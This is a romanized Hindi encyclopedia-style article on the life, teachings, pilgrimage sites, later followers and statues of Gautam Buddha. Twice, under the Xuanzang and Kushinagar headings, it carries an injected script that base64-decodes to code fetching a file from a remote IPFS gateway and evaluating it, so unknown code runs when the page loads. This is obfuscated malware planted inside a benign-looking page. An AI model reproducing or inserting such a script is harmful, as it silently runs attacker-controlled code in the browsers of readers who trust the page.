बुद्ध

buddh vishay soochi

parichay    shiksha    bauddh dharm ka prachar    buddh pratimaean    parinirvan    any nam    vithika

sankshipt parichay

buddh
paradarshi chivar dharan kie hue buddh|200px|center
any nam	siddharth, gautam buddh, mahatma buddh, shaky muni
avatar	bhagavan vishnu ke das avataroan mean nauvean avatar
pita	raja shuddhodan
mata	rani mahamaya
janm vivaran	563 eesa poorv, lumbini (kapilavastu)
dharm-sanpraday	bauddh dharm- 'theravad', 'mahayan', 'vajrayan'
vivah	yashodhara
santan	rahul
shasan-rajy	shaky ganarajy
any vivaran	bauddh dharm ko paiantis karo d se adhik log manate haian aur yah duniya ka chautha sabase b da dharm hai.
mrityu	483 eesa poorv, kushinagar (ayu- 80 varsh)
sanbandhit lekh	saranath, saankashy, kaushaanbi, vairanja, kanyakubj
jayanti	vaishakh ki poornima (buddh poornima)
aantim shabd	"he bhikshuoan, is samay aj tumase itana hi kahata hooan ki jitane bhi sanskar haian, sab nash hone vale haian, pramad rahit ho kar apana kalyan karo."
any janakari	mathura mean anek bauddh kalin moortiyaan mili haian. jo maury kal aur kushan kal mean mathura ki ati unnat moorti kala ki amooly dharohar haian.

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buddh ko 'gautam buddh', 'mahatma buddh' adi namoan se bhi jana jata hai. ve sansar prasiddh bauddh dharm ke sansthapak mane jate haian. bauddh dharm bharat ki shraman parampara se nikala dharm aur darshan hai. aj bauddh dharm sare sansar ke char b de dharmoan mean se ek hai. isake anuyayiyoan ki sankhya din-pratidin aj bhi badh rahi hai. is dharm ke sansthapak buddh raja shuddhodan ke putr the aur inaka janm sthan lumbini namak gram tha. ve chhathavian se paanchavian shatabdi eesa poorv tak jivit the. unake guzarane ke bad agali paanch shatabdiyoan mean, bauddh dharm poore bharatiy upamahadvip mean phail gaya aur agale do hazar saloan mean madhy, poorvi aur dakshin-poorvi jamboo mahadvip mean bhi phail gaya. aj bauddh dharm mean tin mukhy sampraday haian- 'theravad', 'mahayan' aur 'vajrayan'. bauddh dharm ko paiantis karo d se adhik log manate haian aur yah duniya ka chautha sabase b da dharm hai.

chitr:Seealso.gifbuddh ka ullekh in lekhoan mean bhi hai: bimbisar, bodhagaya, madhuvan, piparava evan pataliputr

jivan parichay

janm

gautam buddh ka mool nam 'siddharth' tha. sianhali, anushruti, kharavel ke abhilekh, ashok ke sianhasanarohan ki tithi, kaintan ke abhilekh adi ke adhar par mahatma buddh ki janm tithi 563 ee.poorv svikar ki gayi hai. inaka janm shakyavansh ke raja shuddhodan ki rani mahamaya ke garbh se lumbini mean vaishakh poornima ke din hua tha. shaky ganarajy ki rajadhani kapilavastu ke nikat lumbini mean unaka janm hua. siddharth ke pita shakyoan ke raja shuddhodhan the. buddh ko shaky muni bhi kahate haian. siddharth ki mata mayadevi unake janm ke kuchh der bad mar gee thi. kaha jata hai ki phir ek rrishi ne kaha ki ve ya to ek mahanh raja baneange, ya phir ek mahanh sadhu. lumbini mean, jo dakshin madhy nepal mean hai, samrat ashok ne tisari shatabdi eesa poorv mean buddh ke janm ki smriti mean ek stambh banavaya tha. mathura mean anek bauddh kalin moortiyaan mili haian. jo maury kal aur kushan kal mean mathura ki ati unnat moorti kala ki amooly dharohar haian. buddh ki jivan-kathaoan mean varnit hai ki siddharth ne kapilavastu ko chho dane ke pashchath anoma nadi ko apane gho de kanthak par par kiya tha aur yahian se apane paricharak chhandak ko vida kar diya tha.

luanbini gram

thumb|250px|left|shishu buddh ka pratham snan

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kapilavastu ke pas hi lumbini gram sthit tha, jahaan par gautam buddh ka janm hua tha. isaki pahachan nepal ki taraee mean sthit roominadeee namak gram se ki jati hai. bauddh dharm ka yah ek pramukh kendr mana jane laga. ashok apane rajy-kal ke bisavean varsh dharmayatra karata hua lumbini pahuancha tha. usane is sthan ke charoan or patthar ki dival kh di kar di. vahaan usane ek stanbh ka nirman bhi kiya, jis par usaka ek lekh khuda hua hai. yah stanbh ab bhi apani jagah par vidyaman hai. vidvanoan ka aisa anuman hai ki ashok ki yah lat thik usi jagah kh di hai, jahaan buddh ka janm hua tha. ashok ne vahaan ke nivasiyoan ko kar mean bhari chhoot de di thi. jo tirthayatri vahaan ate the, unhean ab yahaan yatra-kar nahian dena p data tha. vah kapilavastu bhi aya hua tha. gautam buddh ke jis stoop ka nirman shakyoan ne kiya tha, use usane akar mean duguna kara diya tha.

bhavishyavani

yah vidhata ki lila hi thi ki lumbini mean janm lene vale buddh ko kashi mean dharm pravartan karana p da. tripitak tatha jatakoan se kashi ke tatkalin rajanitik mahattv ki sahaj hi kalpana ho jati hai. prachin bauddh granthoan mean buddh kal mean (kam se kam paanchavi shatabdi ee.poorv) kashi ki ganana champa, rajagrih, shravasti, saket evan kaushambi jaise prasiddh nagaroan mean hoti thi. buddh (siddharth) ke janm se pahale unaki mata ne vichitr sapane dekhe the. pita shuddhodan ne 'ath' bhavishy vaktaoan se unaka arth poochha to sabhi ne kaha ki mahamaya ko adbhut putr ratn ki prapti hogi. yadi vah ghar mean raha to chakravarti samrat banega aur yadi usane grih tyag kiya to sannyasi ban jaega aur apane jnan ke prakash se samast vishv ko alokit kar dega. shuddhodan ne siddharth ko chakravarti samrat banana chaha, usamean kshatriyochit gun utpann karane ke liye samuchit shiksha ka prabandh kiya, kiantu siddharth sada kisi chianta mean doobe dikhaee dete the. aant mean pita ne unhean vivah bandhan mean baandh diya. ek din jab siddharth rath par shahar bhraman ke liye nikale the to unhoanne marg mean jo kuchh bhi dekha usane unake jivan ki disha hi badal dali. ek bar ek durbal vriddh vyakti ko, ek bar ek rogi ko aur ek bar ek shav ko dekh kar ve sansar se aur bhi adhik virakt tatha udasin ho gaye. par ek any avasar par unhoanne ek prasannachitt sannyasi ko dekha. usake chehare par shaanti aur tez ki apoorv chamak virajaman thi. siddharth us drishy ko dekh-kar atyadhik prabhavit hue.

grihatyag

[[chitr:buddha1.jpg|thumb|250px|buddh pratima, rajakiy sangrahalay, mathura]] siddharth ke man mean nivritti marg ke prati ni:sarata tatha nivriti marn ki or santosh bhavana utpann ho gayi. jivan ka yah saty siddharth ke jivan ka darshan ban gaya. vivah ke das varsh ke uparant unhean putr ratn ki prapti huee. putr janm ka samachar milate hi unake muanh se sahasa hi nikal p da- 'rahu'- arthath bandhan. unhoanne putr ka nam 'rahul' rakha. isase pahale ki saansarik bandhan unhean chhinn-vichchhinn karean, unhoanne saansarik bandhanoan ko chhinn-bhinn karana praranbh kar diya aur grihatyag karane ka nishchay kiya. ek mahanh ratri ko 29 varsh ke yuvak siddharth jnan prakash ki trishna ko tript karane ke liye ghar se bahar nikal p de.

• kuchh vidvanoan ka mat hai ki gautam ne yajnoan mean ho rahi hiansa ke karan grihatyag kiya.
• kuchh any vidvanoan ke anusar gautam ne doosaroan ke du:kh ko n sah sakane ke karan ghar chho da tha.

jnan ki prapti

grihatyag karane ke bad siddharth jnan ki khoj mean bhatakane lage. bianbisar, udrak, alar evamh kalam namak saankhyopadeshakoan se milakar ve uruvela ki ramaniy vanasthali mean ja pahuanche. vahaan unhean kauandily adi paanch sadhak mile. unhoanne jnan-prapti ke liye ghor sadhana praranbh kar di. kiantu usamean asaphal hone par ve gaya ke nikat ek vat vriksh ke niche asan laga kar baith gaye aur nishchay kar liya ki bhale hi pran nikal jae, maian tab tak samadhisth rahooanga, jab tak jnan n prapt kar looan. sat din aur sat ratri vyatit hone ke bad, athavean din vaishakh poornima ko unhean jnan prapt hua aur usi din ve tathagat ho gaye. jis vriksh ke niche unhean jnan prapt hua vah aj bhi 'bodhivriksh' ke nam se vikhyat hai. jnan prapti ke samay unaki avastha 35 varsh thi. jnan prapti ke bad 'tapassu' tatha 'kallik' namak do shoodr unake pas aye. mahatma buddh nean unhean jnan diya aur bauddh dharm ka pratham anuyayi banaya. [[chitr:Buddha-Statue-Bodhgaya-Bihar.jpg|thumb|250px|left|buddh pratima, bodhagaya, bihar]] bodhagaya se chal kar ve saranath pahuanche tatha vahaan apane poorvakal ke paanch sathiyoan ko upadesh dekar apana shishy bana diya. bauddh paranpara mean yah upadesh 'dharmachakr pravartan' nam se vikhyat hai. mahatma buddh ne kaha ki in do atiyoan se sadaiv bachana chahiye-

• kam sukhoan mean adhik lipt hona tatha
• sharir se kathor sadhana karana. unhean chho d kar jo madhyam marg maianne khoja hai, usaka sevan karana chahiye.

yahi upadesh inaka 'dharmachakr pravartan' ke roop mean pahala upadesh tha. apane paanch anuyaiyoan ke sath ve varanasi pahuanche. yahaan unhoanne ek shreshthi putr ko apana anuyayi banaya tatha poornarup se 'dharm pravarttan' mean jut gaye. ab tak uttar bharat mean inaka kafi nam ho gaya tha aur anek anuyayi ban gaye the. kee varshoan bad maharaj shuddhodan ne inhean dekhane ke liye kapilavastu bulavana chaha, lekin jo bhi inhean bulane ata vah svayan inake upadesh sun kar inaka anuyayi ban jata tha. inake shishy ghoom-ghoom kar inaka prachar karate the.

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buddh ki shiksha

thumb|250px|bauddh bhikshuoan ko shiksha dete hue bhagavan buddh manushy jin du:khoan se pi dit hai, unamean bahut b da hissa aise du:khoan ka hai, jinhean manushy ne apane ajnan, galat jnan ya mithya drishtiyoan se paida kar liya haian un du:khoan ka prahan apane sahi jnan dvara hi sambhav hai, kisi ke ashirvad ya varadan se unhean door nahian kiya ja sakata. saty ya yatharthata ka jnan hi samyak jnan hai. at: saty ki khoj du:kh moksh ke lie paramavashyak hai. khoj ajnat saty ki hi ki ja sakati hai. yadi saty kisi shastr, agam ya upadeshak dvara jnat ho gaya hai to usaki khoj, khoj nahian. at: buddh ne apane poorvavarti logoan dvara ya parampara dvara batae saty ko nakar diya aur apane lie ne sire se usaki khoj ki. buddh svayan kahian pratibaddh nahian hue aur n to apane shishyoan ko unhoanne kahian baandha. unhoanne kaha ki meri bat ko bhi isalie chupachap n man lo ki use buddh ne kahi hai. us par bhi sandeh karo aur vividh parikshaoan dvara usaki pariksha karo. jivan ki kasauti par unhean parakho, apane anubhavoan se milan karo, yadi tumhean sahi jan p de to svikar karo, anyatha chho d do. yahi karan tha ki unaka dharm rahasyadambaroan se mukt, manaviy sanvedanaoan se otaprot evan hriday ko sidhe sparsh karata tha.

trividh dharmachakr pravartan

bhagavan buddh prajna v karuna ki moorti the. ye donoan gun unamean utkarsh ki parakashtha prapt kar samaras hokar sthit the. itana hi nahian, bhagavan buddh atyant upayakushal bhi the. upay kaushal buddh ka ek vishisht gun hai arthath ve vividh prakar ke viney janoan ko vividh upayoan se sanmarg par aroodh karane mean atyant pravin the. ve yah bhalibhaanti janate the ki kise kis upay se sanmarg par aroodh kiya ja sakata hai. phalat: ve viney janoan ke vichar, ruchi, adhyashay, svabhav, kshamata aur paristhiti ke anuroop upadesh diya karate the. bhagavan buddh ki doosari visheshata yah hai ki ve sanmarg ke upadesh dvara hi apane jagatkalyan ke kary ka sampadan karate haian, n ki varadan ya rriddhi ke bal se, jaise ki shiv ya vishnu adi ke bare mean anek kathaean puranoan mean prachalit haian. unaka kahana hai ki tathagat to matr upadeshta haian, krityasampadan to svayan sadhak vyakti ko hi karana hai. ve jisaka kalyan karana chahate haian, use dharmoan (padarthoan) ki yatharthata ka upadesh dete the. bhagavan buddh ne bhinn-bhinn samay aur bhinn-bhinn sthanoan mean viney janoan ko anant upadesh diye the. sabake vishay, prayojan aur patr bhinn-bhinn the. aisa hone par bhi samast upadeshoan ka antim lakshy ek hi tha aur vah tha viney janoan ko du:khoan se mukti ki or le jana. moksh ya nirvan hi unake samast upadeshoan ka ekamatr ras hai.

bauddh dharm ka prachar

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bauddh dharm bharat ki shraman parampara se nikala dharm aur darshan hai. isake sansthapak mahatma buddh, shakyamuni (gautam buddh) the. ve chhathavian se paanchavian shatabdi eesa poorv tak jivit the. unake guzarane ke bad agali paanch shatabdiyoan mean, bauddh dharm poore bharatiy upamahadvip mean phaila, aur agale do hazar saloan mean madhy, poorvi aur dakshin-poorvi jamboo mahadvip mean bhi phail gaya. [[chitr:Buddhism-Symbol.jpg|thumb|left|bauddh dharm ka pratik]] aj, bauddh dharm mean tin mukhy sampraday haian: theravad, mahayan aur vajrayan. bauddh dharm ko paiantis karo d se adhik log manate haian aur yah duniya ka chautha sabase b da dharm hai.

saranath

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saranath kashi se sat mil poorvottar mean sthit bauddhoan ka prachin tirth hai, jnan prapt karane ke bad bhagavan buddh ne pratham upadesh yahaan diya tha, yahaan se hi unhoanne "dharm chakr pravartan" prarambh kiya, yahaan par saranganath mahadev ka mandir hai, yahaan savan ke mahine mean hinduoan ka mela lagata hai. yah jain tirth hai aur jain granthoan mean ise sianhapur bataya hai. saranath ki darshaniy vastuyean-ashok ka chaturmukh sianhastambh, bhagavan buddh ka mandir, dhamekh stoop, chaukhandi stoop, rajakiy sangrahalay, jain mandir, chini mandir, moolangadhakuti aur navin vihar haian, muhammad gauri ne ise lagabhag khatm kar diya tha, sanh 1905 mean puratattv vibhag ne yahaan khudaee ka kam kiya, us samay bauddh dharm ke anuyayoan aur itihasavettaoan ka dhyan is par gaya.

braj (mathura)

[[chitr:Buddha-Image-Installed-by-Kayastha-Bhatti-Priya-Mathura-Museum-3.jpg|thumb|250px|kayasth bhattipriy dvara sthapit buddh pratima, mathura sangrahalay]]

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mathura aur bauddh dharm ka ghanishth sanbandh tha. jo buddh ke jivan-kal se kushan-kal tak akshuhn raha. 'aanguttaranikay' ke anusar bhagavan buddh ek bar mathura aye the aur yahaan upadesh bhi diya tha. 'veranjak-brahman-sutt' mean bhagavanh buddh ke dvara mathura se veranja tak yatra kie jane ka varnan milata hai. pali vivaran se yah jnat hota hai ki buddhatv prapti ke barahavean varsh mean hi buddh ne mathura nagar ki yatra ki thi. mathura se lautakar buddh veranja aye phir unhoanne shravasti ki yatra ki. bhagavan buddh ke shishy mahakachyayan mathura mean bauddh dharm ka prachar karane ae the. is nagar mean ashok ke guru upagupt, dhruv (skand puran, kashi khand, adhyay 20), evan prakhyat ganika vasavadatta bhi nivas karati thi. mathura rajy ka desh ke doosare bhagoan se vyaparik sanbandh tha. mathura uttarapath aur dakshinapath donoan bhagoan se ju da hua tha. rajagrih se takshashila jane vale us samay ke vyaparik marg mean yah nagar sthit tha.

saankashy

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gautam buddh ke jivan kal mean saankashy khyati prapt nagar tha. pali kathaoan ke anusar yahian buddh trayastriansh svarg se avatarit hokar ae the. is svarg mean ve apani mata tatha taiantis devataoan ko abhidhamm ki shiksha dene ge the. pali dantakathaoan ke anusar buddh tin sidhiyoan dvara svarg se utare the aur unake sath brahma aur shak bhi the. is ghatana se sanbandh hone ke karan bauddh, saankashy ko pavitr tirth manate the aur isi karan yahaan anek stoop evan vihar adi ka nirman hua tha. yah unake jivan ki char ashcharyajanak ghatanaoan mean se ek mani jati hai. saankashy hi mean buddh ne apane pramukh shishy annad ke kahane se striyoan ki pravrajya par lagaee huee rok ko to da tha aur bhikshuni utpalavarna ko diksha dekar striyoan ke lie bhi bauddh sangh ka dvar khol diya tha. paligranth abhidhanappadipika mean sankass (saankashy) ki uttari bharat ke bis pramukh nagaroan mean ganana ki gee hai. panini ne mean saankashy ki sthiti ikshumati nadi par kahian hai jo sankisa ke pas bahane vali eekhan hai.

kaushaanbi

mukhy lekh : kaushaanbi

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udayan ke samay mean gautam buddh kaushaanbi mean aksar ate-jate rahate the. unake sambandh ke karan kaushaanbi ke anek sthan saik doan varshoan tak prasiddh rahe. buddhacharit 21,33 ke anusar kaushaanbi mean, buddh ne dhanavan, ghoshil, kubjottara tatha any mahilaoan tatha purushoan ko dikshit kiya tha. [[chitr:Kushinagar-1.jpg|thumb|250px|left|bauddh bhikshu dhyan sthali, kushinagar]] yahaan ke vikhyat shreshthi ghoshit (sambhavatah buddhacharit ka ghoshil) ne 'ghoshitaram' nam ka ek sundar udyan buddh ke nivas ke lie banavaya tha. ghoshit ka bhavan nagar ke dakshin-poorvi kone mean tha. ghoshitaram ke nikat hi ashok ka banavaya hua 150 hath ooancha stoop tha. isi viharavan ke dakshin-poorv mean ek bhavan tha jisake ek bhag mean achary vasubandhu rahate the. inhoanne vijnapti matrata siddhi namak granth ki rachana ki thi. isi van ke poorv mean vah makan tha jahaan ary asang ne apane granth yogacharabhoomi ki rachana ki thi.

vairanja

mukhy lekh : vairanja

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buddhacharit 21, 27 mean buddh ka is anabhijnat nagar mean pahuanchakar 'virianch' namak vyakti ko dharm ki diksha dene ka ullekh hai. yahaan ke brahmanoan ka bauddh sahity mean ullekh hai. gautam buddh yahaan par thahare the aur unhoanne is nagar ke nivasiyoan ke samaksh pravachan bhi kiya tha. bhagavan gautam buddh ke asankhy anuyayi ban chuke the, lekin in anuyayiyoan mean brahmanoan ki ek bahut b di sankhya thi. is prakar buddh ke pravachanoan tatha unaki shikshaoan ka brahmanoan par bahut gahara prabhav p da tha.

kanyakubj

mukhy lekh : kanyakubj

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yuvanachvaang likhata hai ki kanyakubj ke pashchimottar mean ashok ka banavaya hua ek stoop tha, jahaan par poorvakatha ke anusar gautam buddh ne sat din thahakar pravachan kiya tha. is vishal stoop ke pas hi any chhote stoop bhi the, aur ek vihar mean buddh ka daant bhi surakshit tha, jisake darshan ke lie saik doan yatri ate the. yuvanachvaang ne kanyakubj ke dakshinapoorv mean ashok dvara nirmit ek any stoop ka bhi varnan kiya hai jo ki do sau phut ooancha tha. kianvadanti hai ki gautam buddh is sthan par chhah mas tak thahare the. [[chitr:Kashi-Map.jpg|thumb|150px|kashi mahajanapad]]

varanasi

mukhy lekh : varanasi

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bauddh sahity se pata chalata hai ki buddh varanasi mean kee bar thahare the. bauddh granthoan mean varanasi ka ullekh kashi janapad ki rajadhani ke roop mean hua hai. buddh poorv kal mean kashi ek samriddh evan svatantr rajy tha. isaka sakshy dete hue svayan buddh ne isaki prashansa ki hai.

bauddh dharm ke any anuyayi

hven tsaang

[[chitr:Xuanzang.jpg|thumb|hven tsaang|x300px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat mean hven tsaang ne buddh ke jivan se ju de sabhi pavitr sthaloan ka bhraman kiya aur upamahadvip ke poorv evan pashchim se lage ilaqo ki bhi yatra ki. unhoanne apana adhikaansh samay nalanda math mean bitaya, jo bauddh shiksha ka pramukh keandr tha, jahaan unhoanne sanskrit, bauddh darshan evan bharatiy chiantan mean dakshata hasil ki. isake bad hven tsaang ne apana jivan bauddh dharmagranthoan ke anuvad mean laga diya jo 657 granth the aur 520 petiyoan mean bharat se lae ge the. is vishal khand ke keval chhote se hisse (1330 adhyayoan mean qarib 73 granth) ke hi anuvad mean mahayan ke kuchh atyadhik mahattvapoorn granth shamil haian.

miliand (minaandar)

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uttar-pashchim bharat ka 'hindi-yoonani' raja 'manendar' 165-130 ee. poo. lagabhag (bharatiy ullekhoan ke anusar 'milind') tha. pratham pashchimi raja jisane bauddh dharm apanaya aur mathura par shasan kiya. bharat mean rajy karate hue vah bauddh shramanoan ke sampark mean aya aur achary nagasen se usane bauddh dharm ki diksha li. [[chitr:Menandros-Coin.jpg|thumb|150px|left|miliand (minaandar) ka sikka]] bauddh granthoan mean usaka nam 'milind' aya hai. 'milind panho' nam ke pali granth mean usake bauddh dharm ko svikrit karane ka vivaran diya gaya hai. minandar ke anek sikkoan par bauddh dharm ke 'dharmachakr' pravartan ka chihn 'dharmachakr' bana hua hai, aur usane apane nam ke sath 'dhramik' (dharmik) visheshan diya hai.

fahyan

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fahyan ka janm chin ke 'vu-vang' namak sthan par hua tha. yah bauddh dharm ka anuyayi tha. usane lagabhag 399 ee. mean apane kuchh mitroan 'huee-chiang', 'taoancheang', 'huee-miang', 'hueeveee' ke sath bharat yatra prarambh ki. fahyan ki bharat yatra ka udeshy bauddh hastalipiyoan evan bauddh smritiyoan ko khojana tha. isilie fahyan ne unhian sthanoan ke bhraman ko mahattv diya, jo bauddh dharm se sambandhit the.

ashok

[[chitr:Ashoka.jpg|thumb|ashok|100px]]

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samrat ashok ko apane vistrit samrajy ke behatar kushal prashasan tatha bauddh dharm ke prachar ke lie jana jata hai. jivan ke uttarardh mean ashok gautam buddh ke bhakt ho ge aur unhian (mahatma buddh) ki smriti mean unhoanne ek stambh kh da kar diya jo aj bhi nepal mean unake janmasthal-lumbini mean mayadevi mandir ke pas ashok sh‍tamh‍bh ke roop mean dekha ja sakata hai. usane bauddh dharm ka prachar bharat ke alava shrilanka, afaganistan, pashchim eshiya, misr tatha yoonan mean bhi karavaya. ashok ke abhilekhoan mean praja ke prati kalyanakari drashtikon ki abhivyakti ki gee hai.

kanishk

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kushan raja kanishk ke vishal samrajy mean vividh dharmoan ke anuyayi vibhinn logoan ka nivas tha, aur usane apani praja ko santusht karane ke lie sab dharmoan ke devataoan ko apane sikkoan par aankit karaya tha. par is bat mean koee sandeh nahian ki kanishk bauddh dharm ka anuyayi tha, aur bauddh itihas mean usaka nam ashok ke saman hi mahattv rakhata hai. achary ashvaghosh ne use bauddh dharm mean dikshit kiya tha. is achary ko vah pataliputr se apane sath laya tha, aur isi se usane bauddh dharm ki diksha li thi.

buddh pratimaean

[[chitr:Lower-Part-Of-Buddha-Mathura-Museum-25.jpg|thumb|180px|buddh pratima ka nichala bhag, mathura]] mathura ke kushan shasak, jinamean se adhikaansh ne bauddh dharm ko protsahit kiya, moorti nirman ke pakshapati the. yadyapi kushanoan ke poorv bhi mathura mean bauddh dharm evan any dharm se sambandhit pratimaoan ka nirman kiya gaya tha. vidit hua hai ki kushan kal mean mathura uttar bharat mean sabase b da moorti nirman ka kendr tha aur yahaan vibhinn dharmoan sambandhit moortiyoan ka achchha bhandar tha. is kal ke pahale buddh ki svatantr moorti nahian milati hai. buddh ka poojan is kal se poorv vividh pratik chihnoan ke roop mean milata hai. parantu kushan kal ke prarambh se mahayan bhakti, panth bhakti utpatti ke sath nagarikoan mean buddh ki saik doan moortiyoan ka nirman hone laga. buddh ke poorv janm ki jatak kathayean bhi pattharoan par utkirn hone lagi. mathura se bauddh dharm sambandhi jo avashesh mile haian, unamean prachin dharmik evan laukik jivan ke adhyayan ki apar samagri hai. mathura kala ke vikas ke sath–sath buddh evan baudhitsav ki sundar moortiyoan ka nirman hua. gupt kalin buddh pratimaoan mean aang pratyang ke kala poorn vinyas ke sath ek divy saundary evan adhyatmik gaanbhiry ka samanvay milata hai.

mathura aur dilli sangrahalay se prapt buddh pratimaean

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aantim upadesh evan parinirvan

bauddh dharm ka prachar buddh ke jivan kal mean hi kafi ho gaya tha, kyoanki un dinoan karmakaand ka zor kafi badh chuka tha aur pashuoan ki hatya b di sankhya mean ho rahi thi. inhoanne is nirarthak hatya ko rokane tatha jiv matr par daya karane ka upadesh diya. [[chitr:Kushinagar.jpg|thumb|250px|left|buddh, kushinagar]] pray: 44 varsh tak bihar tatha kashi ke nikatavartti praantoan mean dharm prachar karane ke uparaant aant mean kushinagar ke nikat ek van mean shal vriksh ke niche vriddhavastha mean inaka parinirvan arthath shariraant hua. mrityu se poorv unhoanne kushinara ke parivrajak subhachchh ko apana antim upadesh diya.

kushinagar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kushinagar buddh ke mahaparinirvan ka sthan hai. uttar pradesh ke gorakhapur zile se 51 kimi ki doori par sthit hai. bauddh granth mahavansh mean kushinagar ka nam isi karan kushavati bhi kaha gaya hai. bauddh kal mean yahi nam kushinagar ya pali mean kusinara ho gaya. ek any bauddh kianvadanti ke anusar takshashila ke ikshvaku vanshi raja taleshvar ka putr takshashila se apani rajadhani hatakar kushinagar le aya tha. usaki vansh parampara mean barahavean raja sudinn ke samay tak yahaan rajadhani rahi. inake bich mean kush aur mahadarshan namak do pratapi raja hue jinaka ullekh gautam buddh ne kiya tha.

mukh se nikale aantim shabd

bhagavan buddh ne jo aantim shabd apane mukh se kahe the, ve is prakar the-

"he bhikshuoan, is samay aj tumase itana hi kahata hooan ki jitane bhi sanskar haian, sab nash hone vale haian, pramad rahit ho kar apana kalyan karo." yah 483 ee. poo. ki ghatana hai. ve assi varsh ke the.

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buddh ke any nam

[[chitr:Buddha-National-Museum-Delhi-4.jpg|thumb|buddh pratima, rashtriy sangrahalay, dilli]]

bhagavan buddh ke any nam

vinayak sugat dharmaraj tathagat samantabhadr marajith

bhagavath muni lokajith jin shadabhijn dashabal

advayavadinh sarvajn shrighan shastri munindr

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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vithika

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  buddh pratima, bodhagaya, bihar

• chitr:Buddha-In-Meditation-Mathura-Museum-2.jpg

  dhyanavasthit buddh

• chitr:Buddha-Mathura-Museum-46.jpg

  buddh

• chitr:Relief-Showing-Buddha's-Descent-From-Trayastrimsa-Heaven-Mathura-Museum-47.jpg

  buddh

• chitr:Standing-Buddha-in-Abhaya-Mathura-Museum-6.jpg

  abhay mudra mean kh de bhagavan buddh

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  buddh

• chitr:Buddhist-Centers-Map.jpg

  uttar pradesh ke pramukh bauddh keandr

• chitr:Buddha-National-Museum-Delhi-2.jpg

  buddh pratima, rashtriy sangrahalay, dilli

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  buddh pratima, rashtriy sangrahalay, dilli

• chitr:Buddha-Ashes.jpg

  buddh ke avashesh, rashtriy sangrahalay, dilli

• chitr:Buddha's-Ashes-Stupa.jpg

  buddh ke parinirvan ke pashchath lichchhavi dvara vaishali mean banavaya gaya asthi stoop

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  saranath mean sthit chini bauddh mandir, uttar pradesh

• chitr:Buddha-Sarnath.jpg

  buddh pratima, saranath

• chitr:Buddha-Kushinagar.jpg

  buddh, sangrahalay mathura mean upalabdh bhikshu yashadinn dvara nirmit sthapit buddh pratima ki anukriti

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  buddh mastak, kushinagar

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  buddh, rashtriy sangrahalay, dilli

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  buddh, rashtriy sangrahalay, dilli

• chitr:Buddhist-Golden-Temple.jpg

  bauddh svarn mandir mean buddh ki pratima, karnatak

• chitr:Buddha-Footprints-Bodhgaya.jpg

  buddh ke pairoan ke nishan, bodhagaya